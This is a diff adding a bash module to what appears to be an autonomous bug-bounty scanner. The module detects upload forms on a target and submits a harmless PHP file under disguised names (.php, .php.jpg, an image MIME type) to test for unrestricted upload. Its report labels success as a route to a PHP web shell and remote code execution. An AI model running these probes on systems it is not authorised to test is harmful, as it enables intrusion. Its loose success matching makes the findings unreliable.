The Analyzer v1.0 — autonomous bug bounty engine with 20 attack vectors and Ollama brain

vectors/15-file-upload.sh

@@ -0,0 +1,49 @@
+#!/usr/bin/env bash
+# Vector 15: File Upload Vulnerabilities
+# Desc: Unrestricted file upload, path traversal in upload
+# Detect: Upload forms, multipart endpoints
+# Severity: HIGH
+# Tools: curl
+
+vector_fileup() {
+  local target="$1"
+  local report="$2"
+  local findings=0
+  
+  print_info "Testing File Upload vectors..."
+  
+  # Find upload endpoints
+  local page=$(curl -s --connect-timeout 5 --max-time 10 "$target" 2>/dev/null)
+  local upload_urls=$(echo "$page" | grep -oiP 'action="[^"]*upload[^"]*"\|enctype="multipart/form-data"' | head -5)
+  
+  if [ -n "$upload_urls" ]; then
+    print_info "Upload form detected, testing restrictions..."
+    
+    # Try uploading a PHP shell (harmless test)
+    local test_content='<?php echo "UPLOAD_TEST"; ?>'
+    local tmpfile=$(mktemp)
+    echo "$test_content" > "$tmpfile"
+    
+    local response=$(curl -s --connect-timeout 5 --max-time 10 \
+      -F "file=@${tmpfile};filename=test.php" \
+      -F "file=@${tmpfile};filename=test.php.jpg" \
+      -F "file=@${tmpfile};filename=test.png;type=image/png" \
+      "$target" 2>/dev/null)
+    
+    rm -f "$tmpfile"
+    
+    if echo "$response" | grep -qi "uploaded\|success\|200\|stored"; then
+      print_find "File Upload Vulnerability!" "PHP file accepted as upload"
+      echo "SEVERITY: HIGH
+VECTOR: Unrestricted File Upload
+DETAIL: Server accepted PHP file upload on $target
+EVIDENCE: Upload response indicates success
+EXPLOIT: Upload PHP web shell for RCE" > "$REPORTS_DIR/.finding_$(date +%s)_fileup.txt"
+      findings=$((findings + 1))
+    fi
+  else
+    print_skip "No upload forms detected"
+  fi
+  
+  return $findings
+}